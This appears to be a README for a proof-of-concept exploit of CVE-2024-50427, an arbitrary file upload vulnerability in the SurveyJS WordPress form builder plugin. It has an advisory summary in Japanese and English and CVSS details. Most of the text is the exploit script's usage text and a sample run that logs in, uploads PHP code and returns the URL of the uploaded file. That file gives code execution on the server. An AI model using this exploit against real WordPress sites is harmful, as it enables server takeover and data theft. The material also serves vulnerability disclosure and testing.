randomrobbiebf/cve-2024-50427SurveyJS: ドラッグ＆ドロップ WordPress フォームビルダー <= 1.9.136 - 認証済み（購読者以上）任意ファイルアップロード
SurveyJS: Drag & Drop WordPress Form Builder <= 1.9.136 - 認証済み（購読者+）任意ファイルアップロード
任意の複雑さのフォームを作成、スタイル設定、埋め込むためのWordPressプラグイン「SurveyJS: Drag & Drop WordPress Form Builder」は、1.9.136を含むすべてのバージョンにおいて、ファイルタイプの検証が欠如しているため、任意のファイルアップロードに対して脆弱です。これにより、購読者レベル以上のアクセス権を持つ認証済み攻撃者が、影響を受けるサイトのサーバー上に任意のファイルをアップロードできる可能性があり、リモートコード実行が可能になる場合があります。
Published: 2024-10-24 00:00:00
CVE: CVE-2024-50427
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: surveyjs
usage: CVE-2024-50427.py [-h] [--code CODE] url username password
Upload a PHP file to a WordPress site.
positional arguments:
url The URL of the WordPress site (e.g., http://example.com)
username Your WordPress username
password Your WordPress password
options:
-h, --help show this help message and exit
--code CODE PHP code to execute
$ python3 CVE-2024-50427.py http://kubernetes.docker.internal [email protected] user --code "phpinfo();"
Login successful.
File uploaded successfully.
http://kubernetes.docker.internal/wp-content/uploads/surveyjs/158718452672e02bd1d7212.25114025.php